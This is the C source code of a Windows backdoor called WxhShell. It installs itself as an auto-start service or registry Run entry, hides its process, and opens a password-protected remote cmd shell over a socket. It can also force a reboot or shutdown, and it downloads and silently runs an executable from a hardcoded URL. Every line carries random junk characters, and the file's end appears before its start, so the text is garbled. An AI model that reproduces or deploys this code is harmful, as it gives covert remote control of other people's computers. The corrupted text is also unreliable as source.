    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wvRwb   
    if(Boot(SHUTDOWN)) lYT_Y.%I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _B0C]u3D  
    else { x Nb7VUV7  
    closesocket(wsh); bbT1p :RF  
    ExitThread(0); ny:/a  
    } fd$nAE  
    break; Je4hQJ<h  
    } [>KnMi=o)  
  // 获取shell =q}Z2 OoYh  
  case 's': { i0F6eqe=J  
    CmdShell(wsh); .uSVZqJ7  
    closesocket(wsh); f2u4*X E\  
    ExitThread(0);  De2$:?  
    break; P9W?sPnC5  
  } t;`ULp~&  
  // 退出 /ke[nr  
  case 'x': { mt~E&Z(A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E24j(>   
    CloseIt(wsh); i.{.koH<  
    break; Rn)fwGC  
    } OIDP#K  
  // 离开 D$+g5u)  
  case 'q': { 86);0EBX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); | {Q}:_/q  
    closesocket(wsh); 0?cJ>)N  
    WSACleanup(); $,B;\PX  
    exit(1); q07H{{h/B  
    break; i*r ag0Mw  
        } Z*Rg ik  
  } N:;z~`  
  } w I;sZJc  
6F5g2hBz  
  // 提示信息 WIabQ_fX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tp|>(~;ai  
} my0iE:  
  } 9N<=,!;5~s  
^B1$|C D,  
  return; >pp#>{}  
} NFF!g]QN  
axOEL:-|Bu  
// shell模块句柄 djqw5kO:R  
int CmdShell(SOCKET sock) "L!U7|9J  
{ 'uF75C  
STARTUPINFO si; ZQ>Q=eCs 1  
ZeroMemory(&si,sizeof(si)); 9Y@ eXP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a?xZsR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PEMBh?)g  
PROCESS_INFORMATION ProcessInfo; dL_9/f4   
char cmdline[]="cmd"; M2\c0^R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I E{:{b\  
  return 0; \}~71y}  
} 34Cnbtq^  
P&Uj?et"  
// 自身启动模式 ;/t~MH  
int StartFromService(void) %w?C)$Kn\  
{ WZTAXOw  
typedef struct =sAU5Ag68  
{ Z*ag{N  
  DWORD ExitStatus; r`\@Fv,&#  
  DWORD PebBaseAddress; =k>fW7e  
  DWORD AffinityMask; m41%?uC/  
  DWORD BasePriority; TV#>x!5!d  
  ULONG UniqueProcessId; T Y% =Y=  
  ULONG InheritedFromUniqueProcessId; B3pjli  
}   PROCESS_BASIC_INFORMATION; _z J /z  
_90<*{bt.  
PROCNTQSIP NtQueryInformationProcess; `<kB/T  
O8cZl1C3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ANgt\8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P)#h4|xZ  
?^2nrh,n+  
  HANDLE             hProcess; q!W=U8`  
  PROCESS_BASIC_INFORMATION pbi; hC9EL= A  
?z2!?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BMqr YW  
  if(NULL == hInst ) return 0; 7t1as.  
5E*Qqe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (G/(w%#7_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R>]7l!3^1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z~==7:Os  
D/JSIDd  
  if (!NtQueryInformationProcess) return 0; }+Q4s]  
3=^)=yOd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C"$~w3A k  
  if(!hProcess) return 0; *l;S"}b*,_  
JU.!<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $ 7W5smW/  
xcn~KF8  
  CloseHandle(hProcess); z>\l%_w  
|>[qC O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q]?)c  
if(hProcess==NULL) return 0; H%etYpD  
G0~Z|P  
HMODULE hMod; 9X,iQ  
char procName[255]; H=\Tse_.  
unsigned long cbNeeded; ?@7!D8$9  
=@S a\;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tTF<DD}8  
<h;_:  
  CloseHandle(hProcess); `<g6^P  
rS+) )!  
if(strstr(procName,"services")) return 1; // 以服务启动 {M7`"+~w  
a+\<2NXYD  
  return 0; // 注册表启动 5 ba e-  
} >MSK.SNh  
>*opEI+  
// 主模块 Qc)i?Z'6  
int StartWxhshell(LPSTR lpCmdLine) Dy>6L79G  
{ p*)I QM<B  
  SOCKET wsl; c~O Lr  
BOOL val=TRUE; TUz4-Pd  
  int port=0; M@P%k`6C  
  struct sockaddr_in door; r>7 +&s*yk  
^yqRa&  
  if(wscfg.ws_autoins) Install(); dJ/gc"7aO  
1KbZ6Msy  
port=atoi(lpCmdLine); ,Q3OQ[Nmh  
MBU|<tc  
if(port<=0) port=wscfg.ws_port; ;']u}Nh  
@x!,iT  
  WSADATA data; KO~KaN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v|\#wrCT?  
|cP:1CRzi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \HkBp& bqK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l qwy5#  
  door.sin_family = AF_INET; rfYa<M Qc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lS#: u-k  
  door.sin_port = htons(port); &M@c50&%  
(_8.gS[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Jwfb%Xge~  
closesocket(wsl); ~*"ZF-c,  
return 1; T/2k2r4PD  
} ~[dL:=?c  
}A,!|m4  
  if(listen(wsl,2) == INVALID_SOCKET) { 4L ]4WVc  
closesocket(wsl); c"-X: m"  
return 1; XzSl"UPYH  
} @eeI4Jz  
  Wxhshell(wsl); U,Uy0s2r  
  WSACleanup(); dNNXMQ0"  
D)?%kNeA  
return 0; \#LDX,=  
rab$[?]  
} fP5i3[T  
5>+@.hPX  
// 以NT服务方式启动 TfT^.p*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r~YBj>}  
{ }$ySZa9  
DWORD   status = 0; .r{t&HO;Y  
  DWORD   specificError = 0xfffffff; M2p|&Z%  
8<mloM-4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YY:{/0?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9#:fQ!3`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +_$s9`@]6  
  serviceStatus.dwWin32ExitCode     = 0; xw_klHL-o  
  serviceStatus.dwServiceSpecificExitCode = 0; pe0ax- Zv  
  serviceStatus.dwCheckPoint       = 0; ]Idwy|eG  
  serviceStatus.dwWaitHint       = 0; T4Vp0i  
]' [:QGr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Sn4xv2/  
  if (hServiceStatusHandle==0) return; Knqv|jJVx1  
- _ 8-i1?  
status = GetLastError(); *?d\Zcj85[  
  if (status!=NO_ERROR) q~ Z UtF  
{ >r7PK45.K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?d%{-  
    serviceStatus.dwCheckPoint       = 0; =X^a  
    serviceStatus.dwWaitHint       = 0; _u^3uzu  
    serviceStatus.dwWin32ExitCode     = status; m"/..&'GC  
    serviceStatus.dwServiceSpecificExitCode = specificError; gaz",kK<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hnB`+!  
    return; `^[Tu 1  
  } {<@ud0A:\  
.\T!oSb4[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W_E^+Wl@  
  serviceStatus.dwCheckPoint       = 0; l0`bseN <  
  serviceStatus.dwWaitHint       = 0; 0m]QQGvJ{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F~fBr  
} T9& {s-3*  
WZn;u3,R  
// 处理NT服务事件,比如:启动、停止 ;Ivv4u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %(p9AE  
{ `ovMfL.u  
switch(fdwControl) )mf|3/o  
{ l7jen=(Zb;  
case SERVICE_CONTROL_STOP: tc[Ld#  
  serviceStatus.dwWin32ExitCode = 0; )W p7e51  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }|2A6^FH.  
  serviceStatus.dwCheckPoint   = 0; PN?;\k)"  
  serviceStatus.dwWaitHint     = 0; COu5Tu^  
  { xWXLk )A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ Do.Wgt  
  } aaCRZKr  
  return; \V!{z;.fA  
case SERVICE_CONTROL_PAUSE: 8.. |-<w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J^yqu{  
  break; 4gC(zJ  
case SERVICE_CONTROL_CONTINUE: @O'NJh{D`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }Vob)r{R@  
  break; HVoP J!K3  
case SERVICE_CONTROL_INTERROGATE: )Jk$j  
  break; "5<!   
}; ><D2of|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &8l?$7S"_/  
} aReJ@  
0C%IdV%CU  
// 标准应用程序主函数 \ui'~n_t]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yc?L OW0  
{ #J3o~,t<  
\P+^BG!  
// 获取操作系统版本 -*KKrte  
OsIsNt=GetOsVer(); $%\6"P/64  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qMVuFw Phi  
!;(Wm6~*ad  
  // 从命令行安装 h[iO'Vq  
  if(strpbrk(lpCmdLine,"iI")) Install(); iYvzZ7 8f  
anpKW a  
  // 下载执行文件 g$#A'Du  
if(wscfg.ws_downexe) { -.? @f tY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3%(r,AD  
  WinExec(wscfg.ws_filenam,SW_HIDE); Be@g|'r  
} ;z9 ,c  
I50Ly sM  
if(!OsIsNt) { 1c#\CO1l  
// 如果时win9x,隐藏进程并且设置为注册表启动 \9OKf|#j  
HideProc(); !9NF@e'&!  
StartWxhshell(lpCmdLine); A32Sdr'D  
} ?2da6v,t  
else f!yl&ulKU  
  if(StartFromService()) -hW>1s<  
  // 以服务方式启动 Xwo+iZ(a  
  StartServiceCtrlDispatcher(DispatchTable); "Hz%0zP&  
else $`W3`}#fM  
  // 普通方式启动 }"WovU{*s  
  StartWxhshell(lpCmdLine); (_ :82@c  
Zl&ED{k<  
return 0; 2;"vF9WMm  
} )e'F[  
#z&R9$  
6M7GPHah  
0n6eWwY  
=========================================== N atC}k  
v5\ALWy+p  
[Z2[Iy  
\^9n&MonM  
} %?or_f/  
1)h<)  
" K JOb1MM  
#tHYCSr]  
#include <stdio.h> @]#[TbNo  
#include <string.h> 0aY\(@  
#include <windows.h> cq?,v?m  
#include <winsock2.h> &l ]F&-  
#include <winsvc.h> qF$y p>|#  
#include <urlmon.h> QOUyD;0IW  
!2HF|x$  
#pragma comment (lib, "Ws2_32.lib") ,.( :b82$  
#pragma comment (lib, "urlmon.lib") BC_<1 c  
R\3v=PR[  
#define MAX_USER   100 // 最大客户端连接数 ;}f {o^]'  
#define BUF_SOCK   200 // sock buffer |-{e!&  
#define KEY_BUFF   255 // 输入 buffer Kgi`@`  
t^KQv~  
#define REBOOT     0   // 重启 iR9duP+  
#define SHUTDOWN   1   // 关机 xg, 9~f[  
,N,@9p  
#define DEF_PORT   5000 // 监听端口  24 [cU  
J`0dF<<{[y  
#define REG_LEN     16   // 注册表键长度 ZDzG8E0Sq  
#define SVC_LEN     80   // NT服务名长度 ]?T^tJ  
Hpz1Iy @  
// 从dll定义API >f Hu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6l2O>V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QQN6\(;-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Wd!Z`,R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $PRd'YdL/  
k=kkF"  
// wxhshell配置信息 =s*c(>  
struct WSCFG { )K]p^lO  
  int ws_port;         // 监听端口 wAW{{ p  
  char ws_passstr[REG_LEN]; // 口令 6p&2 A  
  int ws_autoins;       // 安装标记, 1=yes 0=no (z)#}TC  
  char ws_regname[REG_LEN]; // 注册表键名 V*O[8s%5v  
  char ws_svcname[REG_LEN]; // 服务名 H1q,w|O9j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p|nPu*R-\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "{E%Y*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~"\v(\Pe  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q'3tDc<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z]{=Jy !F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mDp8JNJNE  
{ g[kn^|  
}; ._j?1Fw`  
|P& \C8h  
// default Wxhshell configuration G#`  
struct WSCFG wscfg={DEF_PORT, <>$CYTb  
    "xuhuanlingzhe", gV9bt ~  
    1, cy? #LS  
    "Wxhshell", =2( 52#pT  
    "Wxhshell", q'y< UyT6  
            "WxhShell Service", J9tV|0  
    "Wrsky Windows CmdShell Service", K/Y"oQ2  
    "Please Input Your Password: ", ( 1  
  1, 5c}loOq  
  "http://www.wrsky.com/wxhshell.exe", o-&0_Zq_  
  "Wxhshell.exe" W+8s>  
    }; r7V !M1  
-{Ar5) ?='  
// 消息定义模块 8EJP~bt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |%|Vlu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Iy;"ht6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C7W<7DBf  
char *msg_ws_ext="\n\rExit."; z#`Qfvu6Hi  
char *msg_ws_end="\n\rQuit."; tUOY`]0  
char *msg_ws_boot="\n\rReboot..."; Nc[N 11?O  
char *msg_ws_poff="\n\rShutdown..."; t OJyj49^a  
char *msg_ws_down="\n\rSave to "; GNuIcy  
j -"34  
char *msg_ws_err="\n\rErr!"; +Tx_q1/f5X  
char *msg_ws_ok="\n\rOK!"; `ItoL7bi  
V'dw=W17V  
char ExeFile[MAX_PATH]; m##!sF^k~J  
int nUser = 0; KrG,T5  
HANDLE handles[MAX_USER]; -~JYfj@  
int OsIsNt; c V MRSp  
HrZX~JnTmf  
SERVICE_STATUS       serviceStatus; :|ah u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nIL67&  
B:UM2Jl   
// 函数声明 KlS#f  
int Install(void); GB}=  
int Uninstall(void); :Sd`4"AA  
int DownloadFile(char *sURL, SOCKET wsh); sz/^Ie-~  
int Boot(int flag); W?wt$'  
void HideProc(void); 8_Uh h5[  
int GetOsVer(void); :t "_I  
int Wxhshell(SOCKET wsl); 9(!AKKrr;  
void TalkWithClient(void *cs); hP.Km%C)0n  
int CmdShell(SOCKET sock); s3@mk\?qMe  
int StartFromService(void); P4{~fh(  
int StartWxhshell(LPSTR lpCmdLine); "LkBN0D  
b+arnKo1fk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .I#_~C'\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A1Uy|Dl  
`x>6Wk1  
// 数据结构和表定义 v{"yrC  
SERVICE_TABLE_ENTRY DispatchTable[] =  R:Ih#2R  
{ F1-C8V2H  
{wscfg.ws_svcname, NTServiceMain}, u&TXN;I,p  
{NULL, NULL} t54?<-  
}; 2,g4yXws5  
.:Sk=r4u\  
// 自我安装 @VG@|BQWa  
int Install(void) E>5p7=Or;"  
{ D{y7[#$h$  
  char svExeFile[MAX_PATH]; biw . ~  
  HKEY key; ,=G]tnsv^  
  strcpy(svExeFile,ExeFile); dcq18~  
:06.b:_  
// 如果是win9x系统,修改注册表设为自启动 /|H9Gm  
if(!OsIsNt) { 7mXXMm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zAklS 7L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L{r4hL [  
  RegCloseKey(key); kc=Z6(=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L$);50E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |`o1B;lc  
  RegCloseKey(key); w8UUeF  
  return 0; t18j2P>`  
    } EVaHb;  
  } K*,,j\Q.  
} ),Yk53G6c  
else { P?|\Ig1Gk  
gzat!>*  
// 如果是NT以上系统,安装为系统服务 , #GB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "zXrfn  
if (schSCManager!=0) {n|Uf 5  
{ UmGKj9u  
  SC_HANDLE schService = CreateService Rmn{Vui9\  
  ( r7?nHF  
  schSCManager, o37oRv]  
  wscfg.ws_svcname, Pn.DeoHme  
  wscfg.ws_svcdisp, $YY{|8@kjv  
  SERVICE_ALL_ACCESS, 4<E <sD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m`q&[:  
  SERVICE_AUTO_START, ew dTsgt'  
  SERVICE_ERROR_NORMAL, L%\Wt1\[  
  svExeFile, iOb7g@=  
  NULL, 0#uB[N  
  NULL, Qhc; Zl  
  NULL, J#i7'9g  
  NULL, ErJ@$&7  
  NULL BV7P_!vt  
  ); X2% (=B  
  if (schService!=0) ohe[rV>EX  
  { ao.vB']T  
  CloseServiceHandle(schService); a.?U $F  
  CloseServiceHandle(schSCManager); ~Sm6{L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]' Ho)Q  
  strcat(svExeFile,wscfg.ws_svcname); ~$[fG}C.K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z8{-I@+`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GGcODjY>  
  RegCloseKey(key); CP%^)LX *  
  return 0; @>~\So|  
    } "cBqZzkk9j  
  } nIfAG^?|*  
  CloseServiceHandle(schSCManager); HOPy&Fp  
} VX8CEO  
} A9K$:mL<2  
A4#F AFy  
return 1; E7@Gpu,o  
} vZ srlHb  
* O?Yp%5NH  
// 自我卸载 \>lA2^E f  
int Uninstall(void) Ab j7  
{ a L+>XN  
  HKEY key; 3^ y<Db  
3Os0<1@H  
if(!OsIsNt) { [' pO=ho  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2;:p H3  
  RegDeleteValue(key,wscfg.ws_regname); 4Nt4(3Kf  
  RegCloseKey(key); <)(W7#Ks  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SN L-6]j  
  RegDeleteValue(key,wscfg.ws_regname); g<0K i^#  
  RegCloseKey(key); vo*oCfm  
  return 0; `Z5dRLrd  
  } VR&dy|5BO  
} Ny$3$5/  
} ?#Z4Dg 9|  
else { J+ S]Qoz  
y1PyH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lA/-fUA  
if (schSCManager!=0) _FE uQ9E  
{ 7[qL~BT+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |D/a}Av>B  
  if (schService!=0) p!uB8F  
  { {R@V  
  if(DeleteService(schService)!=0) { Lkx~>U   
  CloseServiceHandle(schService); )&>W/56/  
  CloseServiceHandle(schSCManager); YMK ![ q-  
  return 0; K@cWg C  
  } ~KkC089D  
  CloseServiceHandle(schService); (y.N-I,  
  } +BL46 Bq  
  CloseServiceHandle(schSCManager); X"_ ^^d-  
} "zd_eC5  
}   P3|s}&  
h ka_Fo  
return 1; a <?~1pWtc  
} vFntzN>#  
a oU"  
// 从指定url下载文件 ^4"AWps  
int DownloadFile(char *sURL, SOCKET wsh) Q]N&^ E  
{ =|IlORf<  
  HRESULT hr; [{u3g4`}  
char seps[]= "/"; v7./u4S|V  
char *token; v]F4o1ckk  
char *file; t4v'X}7q]  
char myURL[MAX_PATH]; Q#SQ@oUzD  
char myFILE[MAX_PATH]; v=lW5%r,'  
!1=OaOT  
strcpy(myURL,sURL); !f52JQyh  
  token=strtok(myURL,seps); $'Mf$h  
  while(token!=NULL) ;2 &"  
  { _r\M}lDh*  
    file=token; t&{;6MiE  
  token=strtok(NULL,seps);  ]gcOMC  
  } 0]c&K  
eU%49 A  
GetCurrentDirectory(MAX_PATH,myFILE); _Wg}#r  
strcat(myFILE, "\\"); ztSQrDbbb4  
strcat(myFILE, file); 4FRi=d;mP  
  send(wsh,myFILE,strlen(myFILE),0); ^OWG9`p+  
send(wsh,"...",3,0); wxh\CBxG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Fl=H5HR  
  if(hr==S_OK) UiH7  
return 0; @g5y_G{SP  
else ]&Y^  
return 1; 5{V"!M+<  
;j1E6  
} `<se&IZE  
~d]v{<3  
// 系统电源模块 SU~.baP?  
int Boot(int flag) ~i%=1&K&`  
{ QWfSm^ t  
  HANDLE hToken; {P~rf&Ee  
  TOKEN_PRIVILEGES tkp; >rEZ$h  
naf ~#==vc  
  if(OsIsNt) { ySO\9#Ho  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9c)#j&2?H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;n(f?RO3X  
    tkp.PrivilegeCount = 1; Fk3(( n=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P%e7c,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); = N*Jis  
if(flag==REBOOT) { ,*6K3/kW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l|gi2~ %Y  
  return 0; e c]kt'  
} YQG l8E'  
else { Y#68_%[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n Ab~  
  return 0; ?}s;,_GH  
} o(jLirnk  
  } 8Zsaq1S  
  else { <5z!0m-G  
if(flag==REBOOT) { ^*.$@M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8N'hG,  
  return 0; "E2 0Y"[h  
} Q+ V<&  
else { u)r/#fUZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4joE"H6  
  return 0; @s-P!uCaT  
} "V]*ov&[  
} z f SE7i0  
mk1R~4v  
return 1; m1%rm-M  
} Yt(FSb31H  
E! NtD).=S  
// win9x进程隐藏模块 hp'oiR;~w  
void HideProc(void) = exCpW>  
{ e*}zl>f  
Ie^Ed`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); > U?\WgE$  
  if ( hKernel != NULL ) )9yQ C  
  { >E J{ *  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KUZi3\p9W>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w CLniCt  
    FreeLibrary(hKernel); )Ac,F6w  
  } +S(# 7  
3/n?g7B  
return; ?Xypn#OPt  
} *Sj) 9mp  
u$%C`v>  
// 获取操作系统版本 :;e OhZ=_  
int GetOsVer(void) 9S]pC?N]E  
{ U U_0@V<  
  OSVERSIONINFO winfo; / =6_2t#vA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U%:%. Bys  
  GetVersionEx(&winfo); [l5jPL}6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~q566k!Ll!  
  return 1; 9/0H,qZc  
  else *>=tmW;%  
  return 0; }}TPu8Rl  
} *J[ P#y  
vm+3!s:u  
// 客户端句柄模块 C<^i`[&P$  
int Wxhshell(SOCKET wsl) mnM]@8^G  
{ )?[7}(4jI  
  SOCKET wsh; c2g[w;0"  
  struct sockaddr_in client; " C0dZ  
  DWORD myID; *g+ ZXB  
?`?Tg&W  
  while(nUser<MAX_USER) i;%G Z8  
{ ! I?C8)  
  int nSize=sizeof(client); 2: gh q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ivo><"Y(r  
  if(wsh==INVALID_SOCKET) return 1; j_90iP^5:  
Zb1GR5MB`k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EX{%CPp7}  
if(handles[nUser]==0) :.g/=Q(T~  
  closesocket(wsh); !u]@Ru34  
else o4FHR+u<M  
  nUser++; ,byc!P  
  } <<d#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AQjv? 4)T  
D*-  
  return 0; /W,hOv  
} 0j!<eN=  
_WWC8?6 U  
// 关闭 socket 3:jxr  
void CloseIt(SOCKET wsh) jnp~ACN,  
{ W'vekuM  
closesocket(wsh); $||WI}k3V  
nUser--; p4z4[=-:  
ExitThread(0); *]yrN`  
} ?+hEs =Xs  
|k6+- 1~_  
// 客户端请求句柄 N/0aO^"V  
void TalkWithClient(void *cs) J8Wits]A]$  
{ QY)p![6Fj  
Nxe1^F33  
  SOCKET wsh=(SOCKET)cs; PzKTEYJL  
  char pwd[SVC_LEN]; u|IS7>Sm  
  char cmd[KEY_BUFF]; `"CA$Se8  
char chr[1]; GZaB z#U  
int i,j; xbCR4upS  
||X3g"2W9  
  while (nUser < MAX_USER) { kBk>1jn"  
s*g qKQ;  
if(wscfg.ws_passstr) { HQ"T>xb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'm*W<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QTa\&v[f  
  //ZeroMemory(pwd,KEY_BUFF); B;[ .u>f  
      i=0; ldTXW(^j  
  while(i<SVC_LEN) { _0Ea 3K  
O)&W0` VY  
  // 设置超时 AAa7)^R  
  fd_set FdRead; vcQl0+&  
  struct timeval TimeOut; F,S)P`?  
  FD_ZERO(&FdRead); u=nd7:bv  
  FD_SET(wsh,&FdRead); K.QSt  
  TimeOut.tv_sec=8; zl8M<z1`1  
  TimeOut.tv_usec=0; i=<;$+tW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cu>(;=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }6a}8EyFP  
b EcN_7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *ilh/Hd>  
  pwd=chr[0]; )I*(yUj  
  if(chr[0]==0xd || chr[0]==0xa) { eV}"L:bgJ  
  pwd=0; B \R X  
  break; ShC$ue?Q  
  } ' :_9o5I  
  i++; W6>t!1oO+  
    } Ci-Ze j  
FLG"c690  
  // 如果是非法用户,关闭 socket BJ5MCb.w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $`GlXiV  
} *CXc{{  
LGuZp?"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }h Wv  p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A3tv'-e9  
yC$m(Y12FN  
while(1) { -B-G$ii  
ka!w\v  
  ZeroMemory(cmd,KEY_BUFF); >(P(!^[f  
lv/im/]v  
      // 自动支持客户端 telnet标准   l9uocP:D  
  j=0; 3 orZBT  
  while(j<KEY_BUFF) { I]d-WTd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w.58=Pr  
  cmd[j]=chr[0]; 99*k&mb  
  if(chr[0]==0xa || chr[0]==0xd) { R /" f  
  cmd[j]=0; TO G4=y-N  
  break; ?`e@ o?  
  } GFLat  
  j++; =$4I}2  
    } f@YdL6&d-  
BhDg\oxZ  
  // 下载文件 +0U=UV)U  
  if(strstr(cmd,"http://")) { nxhlTf>3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :y7K3:d3  
  if(DownloadFile(cmd,wsh)) P9 HKev?y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M7?ktK9`ma  
  else {E%c%zzQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I H=$ w c  
  } <o|fH~?X  
  else { rM.Pc?Z  
_fZec+oM  
    switch(cmd[0]) { h(yFr/  
